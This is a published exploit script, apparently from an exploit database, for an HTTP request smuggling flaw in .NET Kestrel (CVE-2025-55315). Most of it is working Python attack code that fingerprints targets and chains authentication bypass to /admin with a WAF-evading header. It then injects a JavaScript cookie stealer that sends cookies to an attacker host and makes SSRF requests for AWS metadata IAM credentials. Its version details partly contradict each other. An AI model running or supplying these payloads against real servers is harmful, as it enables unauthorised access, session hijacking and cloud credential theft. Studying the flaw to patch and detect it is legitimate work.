# Exploit Title: ASP.net 8.0.10 - Bypass
# Date: 2025-11-03
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# CVE: CVE-2025-55315
# Tested on: .NET Kestrel (unpatched) - ASP.NET Core on localhost (lab environment)
# Platform: remote
# Type: webapps
# Attack Vector: Network (HTTP/HTTPS) - Remote exploitation via malformed chunked encoding
# CVSS: 9.8 (Critical) - Estimated: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
#
# Description:
# This exploit demonstrates a critical HTTP Request Smuggling vulnerability in
# unpatched versions of .NET Kestrel due to improper handling of malformed
# chunk extensions (LF-only line endings). The script performs:
# 1. Automatic fingerprinting to detect vulnerable instances
# 2. Auth bypass to access restricted endpoints (/admin)
# 3. Session hijacking via response queue poisoning (JS cookie stealer)
# 4. SSRF to internal metadata services (e.g., AWS 169.254.169.254)
# Includes WAF bypass using 'chUnKEd' header and generates detailed JSON reports.
#
# The vulnerability allows full remote compromise: authentication bypass,
# session theft, and internal network access — all from a single HTTP request.
#
# Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
#
# IMPORTANT SAFETY :
# - DO NOT RUN AGAINST PRODUCTION OR THIRD-PARTY SYSTEMS.
# - Use only in isolated environments (VM, Docker with --network none).
# - All payloads are educational and non-destructive by design.
# - Modify payloads only within your controlled lab.
#
# References:
# - CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
# - Microsoft Security Advisory (hypothetical): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315
from __future__ import annotations
import socket
import ssl
import time
import argparse
import json
import os
from typing import Tuple, Optional
DEFAULT_TIMEOUT = 3.0
READ_CHUNK = 4096
REPORT_DIR = "kestrel_desync_reports"
os.makedirs(REPORT_DIR, exist_ok=True)
# ------------------ Utilities ------------------
def now_iso() -> str:
return time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())
def hexdump(b: bytes, maxlen: int = 200) -> str:
shown = b[:maxlen]
hexed = ' '.join(f"{x:02x}" for x in shown)
return f"{hexed} ..." if len(b) > maxlen else hexed
def save_file(path: str, data: bytes) -> None:
try:
with open(path, 'wb') as f:
f.write(data)
print(f"[+] Saved: {path}")
except Exception as e:
print(f"[!] Save failed: {e}")
# ------------------ Networking ------------------
def send_http(host: str, port: int, data: bytes, use_tls: bool = False) -> Tuple[Optional[bytes], bool]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(DEFAULT_TIMEOUT)
try:
if use_tls:
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=host)
s.connect((host, port))
s.sendall(data)
parts = []
while True:
try:
chunk = s.recv(READ_CHUNK)
if not chunk: break
parts.append(chunk)
except socket.timeout:
break
resp = b''.join(parts)
s.settimeout(0.2)
try:
s.recv(1)
open_flag = True
except:
open_flag = False
s.close()
return resp, open_flag
except Exception:
return None, False
# ------------------ Request Builder (WAF Bypass) ------------------
def build_chunked(method: str, path: str, body: bytes, extra_headers: list = None) -> bytes:
headers = [
f"{method} {path} HTTP/1.1",
"Host: localhost",
"Transfer-Encoding: chUnKEd", # WAF Bypass
"Content-Type: text/plain",
]
if extra_headers:
headers.extend(extra_headers)
headers.extend(["", ""])
return "\r\n".join(headers).encode() + body
# ------------------ Fingerprint ------------------
def fingerprint(host: str, port: int, use_tls: bool) -> Tuple[bool, Optional[bytes]]:
print(f"[*] Fingerprinting {host}:{port}...")
payload = b"1\nx\n0\n\n"
req = build_chunked("POST", "/", payload)
resp, _ = send_http(host, port, req, use_tls)
if resp and b"400" not in resp.split(b'\r\n', 1)[0]:
print(f"[!] VULNERABLE: Accepted LF-only chunk!")
return True, resp
print(f"[+] Patched: 400 Bad Request")
return False, resp
# ------------------ Exploit Chain ------------------
def exploit_chain(host: str, port: int, use_tls: bool):
results = []
# 1. Auth Bypass
print(f"[!] 1. Auth Bypass → /admin")
smug_admin = b"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\nX-Bypass: yes\r\n\r\n"
req1 = build_chunked("POST", "/", b"1;ext\nx\n" + smug_admin, ["Content-Length: 50"])
resp1, _ = send_http(host, port, req1, use_tls)
if resp1 and (b"admin" in resp1.lower() or b"dashboard" in resp1.lower()):
results.append("Auth Bypass: SUCCESS")
save_file(os.path.join(REPORT_DIR, f"admin_page_{host}_{port}.html"), resp1)
else:
results.append("Auth Bypass: FAILED")
# 2. Session Hijacking
print(f"[!] 2. Session Hijacking → JS Stealer")
js_payload = (
b"0\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n"
b"Content-Type: text/html\r\nContent-Length: 120\r\n\r\n"
b"<script>fetch('http://attacker.local/steal?c='+document.cookie)</script>"
)
req2 = build_chunked("POST", "/", b"1;ext\nx\n" + js_payload)
send_http(host, port, req2, use_tls)
results.append("Session Hijack: INJECTED")
# 3. SSRF
print(f"[!] 3. SSRF → AWS Metadata")
ssrf = b"0\r\n\r\nGET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: localhost\r\n\r\n"
req3 = build_chunked("POST", "/", b"1;ext\nx\n" + ssrf)
resp3, _ = send_http(host, port, req3, use_tls)
if resp3 and b"role" in resp3:
results.append("SSRF: SUCCESS")
save_file(os.path.join(REPORT_DIR, f"ssrf_metadata_{host}_{port}.txt"), resp3)
else:
results.append("SSRF: FAILED")
return results
# ------------------ Reporting ------------------
def save_json_report(host: str, port: int, use_tls: bool, results: list):
report = {
"target": f"{host}:{port}",
"tls": use_tls,
"timestamp": now_iso(),
"cve": "CVE-2025-55315",
"status": "VULNERABLE",
"waf_bypass": "chUnKEd",
"exploits": results
}
path = os.path.join(REPORT_DIR, f"REPORT_{host}_{port}_{int(time.time())}.json")
with open(path, 'w', encoding='utf-8') as f:
json.dump(report, f, indent=2)
print(f"[+] JSON Report: {path}")
# ------------------ CLI ------------------
def main():
parser = argparse.ArgumentParser()
parser.add_argument("target", help="host:port or host:port:tls")
args = parser.parse_args()
parts = args.target.split(":")
host = parts[0]
port = int(parts[1])
use_tls = len(parts) > 2 and parts[2].lower() in ("tls", "1")
print(f"\n=== Kestrel Desync Full Chain ===\nTarget: {host}:{port} (TLS: {use_tls})\n")
is_vuln, _ = fingerprint(host, port, use_tls)
if not is_vuln:
print("[+] Target is patched. Exiting.")
return
results = exploit_chain(host, port, use_tls)
save_json_report(host, port, use_tls, results)
print(f"\n[+] Exploitation chain completed!")
print(f"[+] All files in: {REPORT_DIR}")
if __name__ == "__main__":
main()